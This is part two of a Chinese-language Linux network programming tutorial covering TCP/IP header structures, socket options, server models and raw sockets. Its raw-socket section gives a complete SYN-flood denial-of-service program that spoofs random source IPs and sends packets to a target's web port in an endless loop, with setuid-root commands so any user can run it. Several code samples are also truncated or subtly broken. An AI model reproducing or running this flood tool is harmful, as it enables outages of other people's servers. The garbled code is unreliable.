Linux網絡編程入門(二)

(七)Linux網絡編程--7. TCP/IP協議

你也許聽說過TCP/IP協議,那麼你知道到底什麼是TCP,什麼是IP嗎?在這一章裏面,我們一起來學習這個目前網絡上用最廣泛的協議. 

7.1 網絡傳輸分層 
    如果你考過計算機等級考試,那麼你就應該已經知道了網絡傳輸分層這個概念.在網絡上,人們爲了傳輸數據時的方便,
    把網絡的傳輸分爲7個層次.分別是:應用層,表示層,會話層,傳輸層,網絡層,數據鏈路層和物理層.分好了層以後,傳輸數據時,
    上一層如果要數據的話,就可以直接向下一層要了,而不必要管數據傳輸的細節.下一層也只向它的上一層提供數據,
    而不要去管其它東西了.如果你不想考試,你沒有必要去記這些東西的.只要知道是分層的,而且各層的作用不同. 

7.2 IP協議 
    IP協議是在網絡層的協議.它主要完成數據包的發送作用. 下面這個表是IP4的數據包格式 

0      4       8       16                      32
--------------------------------------------------
|版本   |首部長度|服務類型|    數據包總長       |
--------------------------------------------------
|    標識                 |DF |MF| 碎片偏移      |
--------------------------------------------------
|   生存時間    |  協議   |  首部較驗和         |
------------------------------------------------
|               源IP地址                        |
------------------------------------------------
|               目的IP地址                      |
-------------------------------------------------
|               選項                            |
=================================================
|               數據                            |
-------------------------------------------------                       

下面我們看一看IP的結構定義 

struct ip
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN
        unsigned int ip_hl:4;           /* header length */
        unsigned int ip_v:4;            /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
        unsigned int ip_v:4;            /* version */
        unsigned int ip_hl:4;           /* header length */
#endif
        u_int8_t ip_tos;                /* type of service */
        u_short ip_len;                 /* total length */
        u_short ip_id;                  /* identification */
        u_short ip_off;                 /* fragment offset field */
#define IP_RF 0x8000                    /* reserved fragment flag */
#define IP_DF 0x4000                    /* dont fragment flag */
#define IP_MF 0x2000                    /* more fragments flag */
#define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
        u_int8_t ip_ttl;                /* time to live */
        u_int8_t ip_p;                  /* protocol */
        u_short ip_sum;                 /* checksum */
        struct in_addr ip_src, ip_dst;  /* source and dest address */
  };

ip_vIP協議的版本號,這裏是4,現在IPV6已經出來了 

ip_hlIP包首部長度,這個值以4字節爲單位.IP協議首部的固定長度爲20個字節,如果IP包沒有選項,那麼這個值爲5. 

ip_tos服務類型,說明提供的優先權. 

ip_len說明IP數據的長度.以字節爲單位. 

ip_id標識這個IP數據包. 

ip_off碎片偏移,這和上面ID一起用來重組碎片的. 

ip_ttl生存時間.沒經過一個路由的時候減一,直到爲0時被拋棄. 

ip_p協議,表示創建這個IP數據包的高層協議.如TCP,UDP協議. 

ip_sum首部校驗和,提供對首部數據的校驗. 

ip_src,ip_dst發送者和接收者的IP地址 

關於IP協議的詳細情況,請參考 RFC791

7.3 ICMP協議 
ICMP是消息控制協議,也處於網絡層.在網絡上傳遞IP數據包時,如果發生了錯誤,那麼就會用ICMP協議來報告錯誤. 

ICMP包的結構如下: 

0              8               16                              32
---------------------------------------------------------------------
|       類型    |       代碼    |       校驗和                  |
--------------------------------------------------------------------
|               數據            |       數據                    |
--------------------------------------------------------------------

ICMP在中的定義是 
struct icmphdr
{
  u_int8_t type;                /* message type */
  u_int8_t code;                /* type sub-code */
  u_int16_t checksum;
  union
  {
    struct
    {
      u_int16_t id;
      u_int16_t sequence;
    } echo;                     /* echo datagram */
    u_int32_t   gateway;        /* gateway address */
    struct
    {
      u_int16_t __unused;
      u_int16_t mtu;
    } frag;                     /* path mtu discovery */
  } un;
};

關於ICMP協議的詳細情況可以查看 RFC792

7.4 UDP協議 
UDP協議是建立在IP協議基礎之上的,用在傳輸層的協議.UDP和IP協議一樣是不可靠的數據報服務.UDP的頭格式爲: 


0                      16                      32
---------------------------------------------------
|       UDP源端口       |       UDP目的端口     |
---------------------------------------------------
|       UDP數據報長度   |       UDP數據報校驗   |
---------------------------------------------------

UDP結構在中的定義爲: 
struct udphdr {
  u_int16_t     source;
  u_int16_t     dest;
  u_int16_t     len;
  u_int16_t     check;
};

關於UDP協議的詳細情況,請參考 RFC768
7.5 TCP 
TCP協議也是建立在IP協議之上的,不過TCP協議是可靠的.按照順序發送的.TCP的數據結構比前面的結構都要複雜. 

0       4       8  10           16              24              32
-------------------------------------------------------------------
|               源端口          |               目的端口        |
-------------------------------------------------------------------
|                               序列號                          |
------------------------------------------------------------------
|                               確認號                          |
------------------------------------------------------------------
|        |            |U|A|P|S|F|                               |
|首部長度| 保留       |R|C|S|Y|I|       窗口                    |
|        |            |G|K|H|N|N|                               |
-----------------------------------------------------------------
|               校驗和          |               緊急指針        |
-----------------------------------------------------------------
|                       選項                    |    填充字節   |
-----------------------------------------------------------------

TCP的結構在中定義爲: 
struct tcphdr
  {
    u_int16_t source;
    u_int16_t dest;
    u_int32_t seq;
    u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
    u_int16_t res1:4;
    u_int16_t doff:4;
    u_int16_t fin:1;
    u_int16_t syn:1;
    u_int16_t rst:1;
    u_int16_t psh:1;
    u_int16_t ack:1;
    u_int16_t urg:1;
    u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
    u_int16_t doff:4;
    u_int16_t res1:4;
    u_int16_t res2:2;
    u_int16_t urg:1;
    u_int16_t ack:1;
    u_int16_t psh:1;
    u_int16_t rst:1;
    u_int16_t syn:1;
    u_int16_t fin:1;
#endif
    u_int16_t window;
    u_int16_t check;
    u_int16_t urg_prt;
};      

source發送TCP數據的源端口 
dest接受TCP數據的目的端口 

seq標識該TCP所包含的數據字節的開始序列號 

ack_seq確認序列號,表示接受方下一次接受的數據序列號. 

doff數據首部長度.和IP協議一樣,以4字節爲單位.一般的時候爲5 

urg如果設置緊急數據指針,則該位爲1 

ack如果確認號正確,那麼爲1 

psh如果設置爲1,那麼接收方收到數據後,立即交給上一層程序 

rst爲1的時候,表示請求重新連接 

syn爲1的時候,表示請求建立連接 

fin爲1的時候,表示親戚關閉連接 

window窗口,告訴接收者可以接收的大小 

check對TCP數據進行較核 

urg_ptr如果urg=1,那麼指出緊急數據對於歷史數據開始的序列號的偏移值 

關於TCP協議的詳細情況,請查看 RFC793


7.6 TCP連接的建立 
TCP協議是一種可靠的連接,爲了保證連接的可靠性,TCP的連接要分爲幾個步驟.我們把這個連接過程稱爲"三次握手". 

下面我們從一個實例來分析建立連接的過程. 

第一步客戶機向服務器發送一個TCP數據包,表示請求建立連接. 爲此,客戶端將數據包的SYN位設置爲1,
並且設置序列號seq=1000(我們假設爲1000). 

第二步服務器收到了數據包,並從SYN位爲1知道這是一個建立請求的連接.於是服務器也向客戶端發送一個TCP數據包.
因爲是響應客戶機的請求, 於是服務器設置ACK爲1,sak_seq=1001(1000+1)同時設置自己的序列號.seq=2000(我們假設爲2000). 

第三步客戶機收到了服務器的TCP,並從ACK爲1和ack_seq=1001知道是從服務器來的確認信息.於是客戶機也向服務器發送確認信息.
客戶機設置ACK=1,和ack_seq=2001,seq=1001,發送給服務器.至此客戶端完成連接. 

最後一步服務器受到確認信息,也完成連接. 

通過上面幾個步驟,一個TCP連接就建立了.當然在建立過程中可能出現錯誤,不過TCP協議可以保證自己去處理錯誤的. 


說一說其中的一種錯誤.
  聽說過DOS嗎?(可不是操作系統啊).今年春節的時候,美國的五大網站一起受到攻擊.攻擊者用的就是DOS(拒絕式服務)方式.
  概括的說一下原理.客戶機先進行第一個步驟.服務器收到後,進行第二個步驟.按照正常的TCP連接,客戶機應該進行第三個步驟.
  不過攻擊者實際上並不進行第三個步驟.因爲客戶端在進行第一個步驟的時候,修改了自己的IP地址,就是說將一個實際上不存在的
  IP填充在自己IP 數據包的發送者的IP一欄.這樣因爲服務器發的IP地址沒有人接收,所以服務端會收不到第三個步驟的確認信號,
  這樣服務務端會在那邊一直等待,直到超時.這樣當有大量的客戶發出請求後,服務端會有大量等待,直到所有的資源被用光,
  而不能再接收客戶機的請求.這樣當正常的用戶向服務器發出請求時,由於沒有了資源而不能成功.
  於是就出現了春節時所出現的情況.

(八)Linux網絡編程--8. 套接字選項

有時候我們要控制套接字的行爲(如修改緩衝區的大小),這個時候我們就要控制套接字的選項了. 


8.1 getsockopt和setsockopt 

int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optlen)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen)

level指定控制套接字的層次.可以取三種值: 
        1)SOL_SOCKET:通用套接字選項. 
        2)IPPROTO_IP:IP選項. 
        3)IPPROTO_TCP:TCP選項. 
optname指定控制的方式(選項的名稱),我們下面詳細解釋 

optval獲得或者是設置套接字選項.根據選項名稱的數據類型進行轉換 


選項名稱                說明                                    數據類型
========================================================================
                        SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST            允許發送廣播數據                        int
SO_DEBUG                允許調試                                int
SO_DONTROUTE            不查找路由                              int
SO_ERROR                獲得套接字錯誤                          int
SO_KEEPALIVE            保持連接                                int
SO_LINGER               延遲關閉連接                            struct linger
SO_OOBINLINE            帶外數據放入正常數據流                  int
SO_RCVBUF               接收緩衝區大小                          int
SO_SNDBUF               發送緩衝區大小                          int
SO_RCVLOWAT             接收緩衝區下限                          int
SO_SNDLOWAT             發送緩衝區下限                          int
SO_RCVTIMEO             接收超時                                struct timeval
SO_SNDTIMEO             發送超時                                struct timeval
SO_REUSERADDR           允許重用本地地址和端口                  int
SO_TYPE                 獲得套接字類型                          int
SO_BSDCOMPAT            與BSD系統兼容                           int
==========================================================================
                        IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL              在數據包中包含IP首部                    int
IP_OPTINOS              IP首部選項                              int
IP_TOS                  服務類型
IP_TTL                  生存時間                                int
==========================================================================
                        IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEG              TCP最大數據段的大小                     int
TCP_NODELAY             不使用Nagle算法                         int
=========================================================================

關於這些選項的詳細情況請查看 Linux Programmer's Manual 

8.2 ioctl 
ioctl可以控制所有的文件描述符的情況,這裏介紹一下控制套接字的選項. 

int ioctl(int fd,int req,...)

==========================================================================
                        ioctl的控制選項
--------------------------------------------------------------------------
SIOCATMARK              是否到達帶外標記                        int
FIOASYNC                異步輸入/輸出標誌                       int
FIONREAD                緩衝區可讀的字節數                      int
==========================================================================

詳細的選項請用 man ioctl_list 查看.

(九)Linux網絡編程--9. 服務器模型

學習過《軟件工程》吧.軟件工程可是每一個程序員"必修"的課程啊.如果你沒有學習過, 建議你去看一看. 在這一章裏面,
我們一起來從軟件工程的角度學習網絡編程的思想.在我們寫程序之前, 我們都應該從軟件工程的角度規劃好我們的軟件,
這樣我們開發軟件的效率纔會高. 在網絡程序裏面,一般的來說都是許多客戶機對應一個服務器.爲了處理客戶機的請求, 
對服務端的程序就提出了特殊的要求.我們學習一下目前最常用的服務器模型. 

<一>循環服務器:循環服務器在同一個時刻只可以響應一個客戶端的請求 

<二>併發服務器:併發服務器在同一個時刻可以響應多個客戶端的請求 


9.1 循環服務器:UDP服務器 
        UDP循環服務器的實現非常簡單:UDP服務器每次從套接字上讀取一個客戶端的請求,處理, 然後將結果返回給客戶機. 
可以用下面的算法來實現. 

   socket(...);
   bind(...);
   while(1)
    {
         recvfrom(...);
         process(...);
         sendto(...);
   }
因爲UDP是非面向連接的,沒有一個客戶端可以老是佔住服務端. 只要處理過程不是死循環, 服務器對於每一個客戶機的請求總是能夠滿足. 

9.2 循環服務器:TCP服務器 
TCP循環服務器的實現也不難:TCP服務器接受一個客戶端的連接,然後處理,完成了這個客戶的所有請求後,斷開連接. 

算法如下: 
        socket(...);
        bind(...);
        listen(...);
        while(1)
        {
                accept(...);
                while(1)
                {
                        read(...);
                        process(...);
                        write(...);
                }
                close(...);
        }

TCP循環服務器一次只能處理一個客戶端的請求.只有在這個客戶的所有請求都滿足後, 服務器纔可以繼續後面的請求.
這樣如果有一個客戶端佔住服務器不放時,其它的客戶機都不能工作了.因此,TCP服務器一般很少用循環服務器模型的. 

9.3 併發服務器:TCP服務器 
        爲了彌補循環TCP服務器的缺陷,人們又想出了併發服務器的模型. 併發服務器的思想是每一個客戶機的請求並不由服務器
直接處理,而是服務器創建一個 子進程來處理. 

算法如下: 

  socket(...);
  bind(...);
  listen(...);
  while(1)
  {
        accept(...);
        if(fork(..)==0)
          {
              while(1)
               {        
                read(...);
                process(...);
                write(...);
               }
           close(...);
           exit(...);
          }
        close(...);
  }     

TCP併發服務器可以解決TCP循環服務器客戶機獨佔服務器的情況. 不過也同時帶來了一個不小的問題.爲了響應客戶機的請求,
服務器要創建子進程來處理. 而創建子進程是一種非常消耗資源的操作. 

9.4 併發服務器:多路複用I/O 
爲了解決創建子進程帶來的系統資源消耗,人們又想出了多路複用I/O模型. 
首先介紹一個函數select 

int select(int nfds,fd_set *readfds,fd_set *writefds,
                fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)

一般的來說當我們在向文件讀寫時,進程有可能在讀寫出阻塞,直到一定的條件滿足. 比如我們從一個套接字讀數據時,可能緩衝區裏面沒有數據可讀 (通信的對方還沒有 發送數據過來),這個時候我們的讀調用就會等待(阻塞)直到有數據可讀.如果我們不 希望阻塞,我們的一個選擇是用select系統調用. 只要我們設置好select的各個參數,那麼當文件可以讀寫的時候select回"通知"我們 說可以讀寫了. readfds所有要讀的文件文件描述符的集合 
writefds所有要的寫文件文件描述符的集合 

exceptfds其他的服要向我們通知的文件描述符 

timeout超時設置. 

nfds所有我們監控的文件描述符中最大的那一個加1 

在我們調用select時進程會一直阻塞直到以下的一種情況發生. 1)有文件可以讀.2)有文件可以寫.3)超時所設置的時間到. 

爲了設置文件描述符我們要使用幾個宏. FD_SET將fd加入到fdset 

FD_CLR將fd從fdset裏面清除 

FD_ZERO從fdset中清除所有的文件描述符 

FD_ISSET判斷fd是否在fdset集合中 

使用select的一個例子 

int use_select(int *readfd,int n)
{
   fd_set my_readfd;
   int maxfd;
   int i;
   
   maxfd=readfd[0];
   for(i=1;i
    if(readfd[i]>maxfd) maxfd=readfd[i];
   while(1)
   {
        /*   將所有的文件描述符加入   */
        FD_ZERO(&my_readfd);
        for(i=0;i
            FD_SET(readfd[i],*my_readfd);
        /*     進程阻塞                 */
        select(maxfd+1,& my_readfd,NULL,NULL,NULL); 
        /*        有東西可以讀了       */
        for(i=0;i
          if(FD_ISSET(readfd[i],&my_readfd))
              {
                  /* 原來是我可以讀了  */ 
                        we_read(readfd[i]);
              }
   }
}

使用select後我們的服務器程序就變成了. 


        初始話(socket,bind,listen);
        
    while(1)
        {
        設置監聽讀寫文件描述符(FD_*);   
        
        調用select;
        
        如果是傾聽套接字就緒,說明一個新的連接請求建立
             { 
                建立連接(accept);
                加入到監聽文件描述符中去;
             }
       否則說明是一個已經連接過的描述符
                {
                    進行操作(read或者write);
                 }
                        
        }               

多路複用I/O可以解決資源限制的問題.這模型實際上是將UDP循環模型用在了TCP上面. 這也就帶來了一些問題.
如由於服務器依次處理客戶的請求,所以可能會導致有的客戶 會等待很久. 

9.5 併發服務器:UDP服務器 
人們把併發的概念用於UDP就得到了併發UDP服務器模型. 併發UDP服務器模型其實是簡單的.和併發的TCP服務器模型一樣是創建
一個子進程來處理的 算法和併發的TCP模型一樣. 
除非服務器在處理客戶端的請求所用的時間比較長以外,人們實際上很少用這種模型. 


9.6 一個併發TCP服務器實例 

#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>

#define MY_PORT         8888

int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in     client_addr;
int n;

if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
  {
        printf("Socket Error:%s/n/a",strerror(errno));
        exit(1);
  }

bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果服務器終止後,服務器可以第二次快速啓動而不用等待一段時間  */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
  {
        printf("Bind Error:%s/n/a",strerror(errno));
        exit(1);
  }
  listen(listen_fd,5);
  while(1)
  {
   accept_fd=accept(listen_fd,NULL,NULL);
   if((accept_fd<0)&&(errno==EINTR))
          continue;
   else if(accept_fd<0)
    {
        printf("Accept Error:%s/n/a",strerror(errno));
        continue;
    }
  if((n=fork())==0)
   {
        /* 子進程處理客戶端的連接 */
        char buffer[1024];

        close(listen_fd);
        n=read(accept_fd,buffer,1024);
        write(accept_fd,buffer,n);
        close(accept_fd);
        exit(0);
   }
   else if(n<0)
        printf("Fork Error:%s/n/a",strerror(errno));
   close(accept_fd);
  }


你可以用我們前面寫客戶端程序來調試着程序,或者是用來telnet調試

(十)Linux網絡編程--10. 原始套接字

 我們在前面已經學習過了網絡程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 裏面我們一起來學習另外
一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,我們可以編寫出由TCP和UDP套接字不能夠實現的功能. 
注意原始套接字只能夠由有 root權限的人創建. 

10.1 原始套接字的創建 

int sockfd(AF_INET,SOCK_RAW,protocol)

可以創建一個原始套接字.根據協議的類型不同我們可以創建不同類型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.
詳細的情況查看 socket的man手冊 下面我們以一個實例來說明原始套接字的創建和使用 

10.2 一個原始套接字的實例 
還記得DOS是什麼意思嗎?在這裏我們就一起來編寫一個實現DOS的小程序. 下面是程序的源代碼 

/********************  DOS.c               *****************/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>

#define DESTPORT        80       /* 要攻擊的端口(WEB)      */
#define LOCALPORT       8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc!=2)
{
        fprintf(stderr,"Usage:%s hostname/n/a",argv[0]);
        exit(1);
}

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
        host=gethostbyname(argv[1]);
        if(host==NULL)
        {
                fprintf(stderr,"HostName Error:%s/n/a",hstrerror(h_errno));
                exit(1);
        }
        addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP創建一個TCP的原始套接字    ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
        fprintf(stderr,"Socket Error:%s/n/a",strerror(errno));
        exit(1);
}
/********  設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫  ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/****  沒有辦法,只用超級護用戶纔可以使用原始套接字    *********/
setuid(getpid());

/*********  發送炸彈了!!!!          ****/
send_tcp(sockfd,&addr);




/*******  發送炸彈的實現   *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];  /**** 用來放置我們的數據包  ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;

/******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度  ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/********  填充IP數據包的頭部,還記得IP的頭格式嗎?     ******/ 
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION;             /** 版本一般的是 4      **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度  **/
ip->ip_tos=0;                   /** 服務類型            **/
ip->ip_len=htons(head_len);     /** IP數據包的長度      **/
ip->ip_id=0;                    /** 讓系統去填寫吧      **/
ip->ip_off=0;                   /** 和上面一樣,省點時間 **/        
ip->ip_ttl=MAXTTL;              /** 最長的時間   255    **/
ip->ip_p=IPPROTO_TCP;           /** 我們要發的是 TCP包  **/ 
ip->ip_sum=0;                   /** 校驗和讓系統去做    **/
ip->ip_dst=addr->sin_addr;      /** 我們攻擊的對象      **/

/*******  開始填寫TCP數據包                           *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port;           /** 目的端口    **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;                        /** 我要建立連接 **/
tcp->check=0;


/** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^  **/
while(1)
  {
/**  你不知道我是從那裏來的,慢慢的去等吧!      **/
    ip->ip_src.s_addr=random();     

/** 什麼都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
/**            下面這條可有可無    */
    tcp->check=check_sum((unsigned short *)tcp,
                sizeof(struct tcphdr)); 
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
  }
}

/* 下面是首部校驗和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
  short answer=0;

while(nleft>1)
{
  sum+=*w++;
  nleft-=2;
}
if(nleft==1)
{
  *(unsigned char *)(&answer)=*(unsigned char *)w;
  sum+=answer;
}
  
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

編譯一下,拿localhost做一下實驗,看看有什麼結果.(千萬不要試別人的啊). 爲了讓普通用戶可以運行這個程序,
我們應該將這個程序的所有者變爲root,且 設置setuid位 

[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS


10.3 總結 
原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了. 不過這裏面是不是有很多的樂趣呢. 
當我們創建了一個 TCP套接字的時候,我們只是負責把我們要發送的內容(buffer)傳遞給了系統. 系統在收到我們的數據後,
回自動的調用相應的模塊給數據加上TCP 頭部,然後加上IP頭部. 再發送出去.而現在是我們自己創建各個的頭部,系統只是把它們
發送出去. 在上面的實例中,由於我們要修改我們的源IP地址, 所以我們使用了setsockopt函數,如果我們只是修改TCP數據,
那麼IP數據一樣也可以由系統來創建的. 


11. 後記
  總算完成了網絡編程這個教程.算起來我差不多寫了一個星期,原來以爲寫這個應該是一件 不難的事,做起來才知道原來有很多的地方
都比我想象的要難.我還把很多的東西都省略掉了 不過寫完了這篇教程以後,我好象對網絡的認識又增加了一步. 
  如果我們只是編寫一般的 網絡程序還是比較容易的,但是如果我們想寫出比較好的網絡程序我們還有着遙遠的路要走. 
  網絡程序一般的來說都是多進程加上多線程的.爲了處理好他們內部的關係,我們還要學習 進程之間的通信.在網絡程序裏面有着許
  許多多的突發事件,爲此我們還要去學習更高級的 事件處理知識.現在的信息越來越多了,爲了處理好這些信息,我們還要去學習數據庫.
  如果要編寫出有用的黑客軟件,我們還要去熟悉各種網絡協議.總之我們要學的東西還很多很多. 
  看一看外國的軟件水平,看一看印度的軟件水平,寶島臺灣的水平,再看一看我們自己的 軟件水平大家就會知道了什麼叫做差距.
  我們現在用的軟件有幾個是我們中國人自己編寫的.  不過大家不要害怕,不用擔心.只要我們還是清醒的,還能夠認清我們和別人的
  差距, 我們就還有希望. 畢竟我們現在還年輕.只要我們努力,認真的去學習,我們一定能夠學好的.我們就可以追上別人直到超過別人! 

相信一點: 

            別人可以做到的我們一樣可以做到,而且可以比別人做的更好! 

   勇敢的年輕人,爲了我們偉大祖國的軟件產業,爲了祖國的未來,努力的去奮鬥吧!祖國會記住你們的!


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章